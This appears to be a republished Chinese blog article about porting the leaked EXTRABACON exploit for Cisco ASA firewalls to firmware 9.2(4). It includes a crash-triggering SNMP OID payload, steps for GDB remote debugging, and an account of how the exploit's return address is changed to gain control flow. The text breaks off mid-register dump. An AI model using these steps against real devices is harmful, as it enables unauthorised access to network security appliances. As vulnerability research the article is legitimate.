热门标签 | HotTags
当前位置:  开发笔记 > 编程语言 > 正文

简单四步,教你自己动手移植思科ASA漏洞利用EXTRABACON

2016-08-2910:54:06作者:mpk_no1阅读:655次点赞(1)收藏(1)分享到:在过去的几天里,我们仔细分析了由ShadowBrokers泄露的国安局漏洞利用代码EXTR

2016-08-29 10:54:06 作者:mpk_no1 
阅读:655次 点赞(1) 收藏(1)


分享到:

http://p3.qhimg.com/t01426314a771767e39.jpg

在过去的几天里,我们仔细分析了由Shadow Brokers泄露的国安局漏洞利用代码EXTRABACON。根据XORcat得出的初步分析,这个利用代码能够利用SNMP服务中的内存崩溃漏洞绕过思科ASA设备的身份验证。我们在实验室里对这段代码进行了分析和测试,甚至进行了修改使其能够应用到9.2 (4) 版本。不过,在官方未发布修复补丁之前我们不打算公开这个升级代码。在这篇文章中,我们希望对移植过程进行一个详细的描述:移植的先决条件是什么,需要付出多少努力来扩展功能。同时我们也希望这篇总结能够给那些开始研究思科ASA的人们提供一个很好的资源。


思科ASA是什么?


思科自适应安全设备(ASA)是一种广泛采用的网络安全设备,除了提供标准数据包过滤功能,还提供了一个“智能”的组合,应用程序级的功能比如L7协议检验或VPN等。这个复杂的功能集大概是思科选择32位x86处理器来实现的原因之一。

供应商的主页数据显示有超过100万的这种设备部署在世界各地。

广泛部署,加上其体系结构的复杂性(很可能存在很多bug)使得思科ASA成为了黑客们梦寐以求的攻击对象。

测试准备工作


开始研究ASA最好有一些实际的硬件。幸运的是,ASA 5505在在线拍卖网站上可以以相对便宜的价格找到。

当拥有了硬件,你可能对它的配置毫无头绪,这个时候,你应该建立一个串行连接,从而在没有密码的情况下重置配置和访问控制台。因此你需要一个思科控制台连接线(RJ45-to-DB9)和一个RS232-USB转换器。通过这些你可以将设备的控制台端口连接到你的工作站上的USB端口。在Linux上你可以使用调制解调器通信程序(minicom)连接到控制台,连接参数有:

9600 baud、Parity:8N1

连接完毕之后,你可以检查固件版本并对设备进行配置。对我们来说,配置IP网络接口,允许SSH和SNMP是很重要的。

安装新的固件,你首先需要匹配的固件二进制文件。版本9.2(4) 映像文件的名称为asa924-k8.bin。可以使用SCP将新的固件上传到设备的内部闪存中:

scp asa924-k8.bin admin@192.168.5.1:/asa924-k8.bin

启动顺序可以根据官方手册(https://www.cisco.com/c/en/us/support/docs/security/asa-5500-x-series-next-generation-firewalls/200142-ASA-9-x-Upgrade-a-Software-Image-using.html)配置。

拥有了首选的固件版本和串行连接之后,你就可以通过发送下面的长SNMP OID来验证EXTRABACON造成的内存损坏利用:

1 1.3.6.1.4.1.9.9.491.1.3.3.1.1.5.9.95.184.16.204.71.173.53.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144


这可能会导致访问冲突,并会在串行控制台上输出一些基本的调试信息。

远程调试


远程调试的配置参考的是Alec Stuart 的教程(https://www.youtube.com/watch?v=KXqrovapQ5A),我们现在只是给出一个快速概述的过程。

ASA运行一个类似linux的操作系统,称为lina,固件映像文件包含根文件系统的所有二进制文件和配置文件——可以用binwalk提取:

1  $ binwalk -e asa924-k8.bin
12345678     DECIMAL     HEX         DESCRIPTION    -------------------------------------------------------------------------------------------------------------------    514         0x202       LZMA compressed data, properties: 0x64, dictionary size: 2097152 bytes, uncompressed size: 1048576 bytes    144510      0x2347E     gzip compressed data, from Unix, last modified: Wed Jul 15 06:53:23 2015, max compression    1500012     0x16E36C    ELF    1501296     0x16E870    gzip compressed data, was "rootfs.img", from Unix, last modified: Wed Jul 15 07:19:52 2015    28192154    0x1AE2D9A   Zip archive data, at least v2.0 to extract, name: "com/cisco/webvpn/csvrjavaloader64.dll"      28773362    0x1B70BF2   Zip archive data, at least v2.0 to extract, name: "AliasHandlerWrapper-win64.dll"


我们将Alec演示的repack.sh脚本修改为了:

1.从固件的映像中自动发现和修改rootfs.img

2.解压缩

3.替换rcS,这样在调试模式下会启动lina

4.重新打包rootfs

5.使用dd把新的rootfs归档到固件的二进制文件中

替换设备上的原有固件映像之后,lina开始等待启动时的GDB附加:

1 Process /asa/bin/lina created; pid = 518Remote debugging using /dev/ttyS0


继续执行,作为根用户启动GDB,并串行附加到目标上:

1 (gdb) target remote /dev/ttyUSB0


现在你可以交互式地调试你的设备了。

分析与修改


当我们开始处理EXTRABACON时,我们的主要问题是了解将其扩展到支持新的固件版本有多难。出于这个原因,我们采取了一个“hacky”方法寻找最简单的方法来解决这个问题,而不太关心思科的内部解析或其他细节。

首先让我们看一下目录结构:.

12345678910111213141516 ├── extrabacon_1.1.0.1.py├── Mexeggs│   ├── all.py│   ├── argparse.py│   ├── hexdump.py│   ├── __init__.py│   ├── loglib.py│   ├── log.py│   ├── sploit.py│   └── version.py├── scapy...└── versions    ├── shellcode_asa802.py...    └── shellcode_asa844.py


我们可以看到,不同版本的shellcode都是单独存储在目录下的versions文件夹中,主要利用代码是一个单独的Python文件——extrabacon_1.1.0.1.py。

Mexeggs是漏洞利用的“迷你框架”:它定义了标准接口,处理一些常见的任务,如参数解析和日志记录(默认的日志目录是D:\DSZOPSDisk\logs,日志存储在代号为“concernedparent”的目录中)。

因为是模块化的,所以一旦我们修复了Extrabacon.fw_version_check()函数中的版本检测功能,我们的主要关注点就是主利用脚本。

让我们来看看shellcode脚本!下图是版本8.0(2)和8.4(4)之间的对比:

http://p6.qhimg.com/t011b8ecfd35406ea29.png

我们可以看到,这两个版本的shellcode大部分是相同的,只有2 - 4字节的差异。每一个版本的my_ret_addr值有明显的差异,但凡做过这种类型开发的人都会非常高兴看到这个变量名(或值):在版本检测代码中添加了两行之后,我们在versions目录下拷贝了一个原始的shellcode代码,将其命名为shellcode shellcode_asa924.py,然后将my_ret_addr的值设为 0 x41414141。这个利用正式启动后,我们获得了一个不错的小SIGSEGV信号:

1 Program received signal SIGSEGV, Segmentation fault.[Switching to Thread 523]0x41414141 in ?? ()(gdb) info regeax            0x0    0ecx            0xcbd65a48    -875144632edx            0x0    0ebx   &n
推荐阅读
author-avatar
手机用户2602901861
这个家伙很懒,什么也没留下!
PHP1.CN | 中国最专业的PHP中文社区 | DevBox开发工具箱 | json解析格式化 |PHP资讯 | PHP教程 | 数据库技术 | 服务器技术 | 前端开发技术 | PHP框架 | 开发工具 | 在线工具
Copyright © 1998 - 2020 PHP1.CN. All Rights Reserved | 京公网安备 11010802041100号 | 京ICP备19059560号-4 | PHP1.CN 第一PHP社区 版权所有